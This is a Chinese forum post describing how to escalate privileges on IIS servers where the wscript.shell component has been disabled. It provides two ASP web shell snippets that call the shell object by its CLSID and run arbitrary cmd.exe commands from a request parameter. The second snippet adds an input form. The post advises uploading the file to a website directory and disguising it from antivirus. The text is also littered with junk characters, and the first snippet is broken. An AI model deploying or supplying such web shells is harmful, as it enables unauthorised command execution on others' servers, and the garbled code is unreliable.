没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  , s6 |8 J, T1 K
• 把下面代码复制：
  0 Q6 n% y4 G0 S* k. C
• <%
  * r4 ?: W# v! g$ J
• end if
  
• response.write(”")
  
• On Error Resume
  6 P: Y: B0 H) u* _
• Next
  + u  C5 \2 E+ {3 j) s
• response.write oScriptlhn.exec(”cmd.exe /c” &
  
• request(”c”)).stdout.readall
  , g$ b8 s7 M; r# n  \6 J, w6 q/ @
• response.write(”")
  
• response.write(”")
  
• response.write(”
  # B9 `% R) O/ g! [6 {
• “)
    g; O9 E" j  J# l. p
• response.write(”")
  ! {3 f7 {- \( V$ E5 m3 x/ Y3 r3 w
• %>
  + I' ?% @3 O3 d: ]" k0 T
• 保存为一个asp文件，然后传到网站目录上去
  
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  
• 我用此成功运行过cacls命令。
  
• 第二那就是运行时出错，可能限制某些代码执行
  
• 无wscript.shell组件提权又一个方法
  7 q$ Q0 Q: N. V) C4 \- U, W5 q6 G
• <object runat=server id=oScriptlhn scope=page
  
• 
  
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  ! p# ?( J: N9 k  R( p
• <%if err then%>
  . f  y8 K" e9 [, q
• <object runat=server id=oScriptlhn scope=page
  
• 
  4 G1 [# A, Z3 Y) S
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  
• <%
  * _; X9 u7 J! \. _
• end if
  
• response.write(”<textarea readonly cols=80
  
• 
  3 u- M+ u; S5 A& J+ C+ e4 ^7 i
• rows=20>”)
  
• On Error Resume Next
  
• response.write
  
• 
  
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  
• response.write(”</textarea>”)
  
• response.write(”<form
  ) `! v/ l( B8 o- M- R/ Q
• 
  7 _6 S5 s) u" @8 R
• method=’post’>”)
  4 h1 }5 X  a( _( S" P
• response.write(”<input type=text name=’c'
  
• 
  3 A( E& g( M! X
• size=60><br>”)
  ( [) D1 f/ o) _* ^  ^/ q. e
• response.write(”<input type=submit
  
• 
  9 u% }0 [( ~( d7 X6 {' F
• value=’执行’></form>”)
  . m2 r; D1 j& A' h/ @
• %>
  % P; Y8 `- v2 @* q5 u* G9 [
• 保存为ASP，此代码可能被杀，请注意免杀。
  " U, R* v$ w7 {' ~3 t  v8 f$ E$ }9 _
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  : e6 G! Y; N. J2 H, e

复制代码